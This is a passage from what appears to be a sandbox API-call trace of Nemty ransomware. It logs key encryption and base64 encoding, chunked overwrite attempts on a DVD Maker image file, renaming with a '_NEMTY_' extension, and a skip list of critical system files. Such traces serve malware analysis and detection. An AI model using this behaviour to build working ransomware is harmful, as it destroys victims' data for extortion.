pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.779] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340120 [0087.779] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340120, pcchString=0x653e91c | out: pszString="Jh1LmVbRLFFumLr4Bz23YyAPkuaw5jGvHae5Topm/9f5MA/yuJOaxBEh9OLM/KYy\r\njG29PkO2M1D+aOFHEjn+RxpKcESPEM00g6S5aA9KE0JqB7VbhN9YQ73UztiqSt7b\r\nwKO7UkHFspsZ8PVN8lagA7609fpzWKBCA9WArBnp7GXMbxbnNAjg7OvL7xNn0FS5\r\n+qMjeNiaNNEa0OekFoGwVSFLjXWupJE0UTRuusMbpIRhqiAlGqmlen8XTLap5vcS\r\nxDAHyCe9v2v2bqd+KM0pKeCXIwYFGG2kympsaITgMJuMRDOAnnkju7qibN0d5MF7\r\nM1xadhQ6weZVT9WZQE1kNQ==\r\n", pcchString=0x653e91c) returned 1 [0087.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0087.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340120 [0087.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.780] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.780] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.827] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.836] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.846] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.846] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.864] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.864] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.874] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340120, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.886] CloseHandle (hObject=0xffffffff) returned 0 [0087.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340290 [0087.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0087.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6340440 [0087.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.887] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0087.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.887] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="rsa") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0087.887] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0087.888] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned 1 [0087.888] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0087.888] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0087.888] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="programdata") returned 1 [0087.888] lstrcmpiW (lpString1="SpecialNavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x6345608, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 46 [0087.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f943c0 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x6345608, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 46 [0087.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943c0 | out: hHeap=0x4f90000) returned 1 [0087.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x6345608, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 46 [0087.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0087.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationRight_SelectionSubpicture.png", cchWideChar=46, lpMultiByteStr=0x6345640, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 46 [0087.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340120 [0087.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340208 [0087.888] Sleep (dwMilliseconds=0x5) [0087.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe80aa8d0, dwHighDateTime=0x1d561e7)) [0087.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe80aa8d0, dwHighDateTime=0x1d561e7)) [0087.904] GetLastError () returned 0x5 [0087.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.904] GetLastError () returned 0x5 [0087.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.904] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402f0 [0087.904] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402f0, pcchString=0x653e91c | out: pszString="PsYOnMxPxmcJdIIyfXhwPhXvy5Id/yovfgNVq4k8jJN9l4hWCyCEW1I/RnNyA2bw\r\nVodBEcCqUKWi4oP6pynXsHxxEY78rHyAXOM2fLckhSGXIDSb5GQnL/2Rel7uTbPF\r\ntC3jzcieBWiJvuJhLrxzvvJoT4m1YBAILQNB9U8jVmfXGkt2bugg9BO+V3TOm+XF\r\n2YqR2FjHmGyIXyEEi/fhSWESBqz034qCoRtV7JKjMnNrn105YurZnSTu56mK/smh\r\nE7OBySmfwfQxC1sUJRcj5qC82gL9K5Yfo6gtUtdr31+08LCHB2tIFv7Yyg/Ts+QF\r\niCoa+cNmIKIKEp7jQdYqRg==\r\n", pcchString=0x653e91c) returned 1 [0087.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0087.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 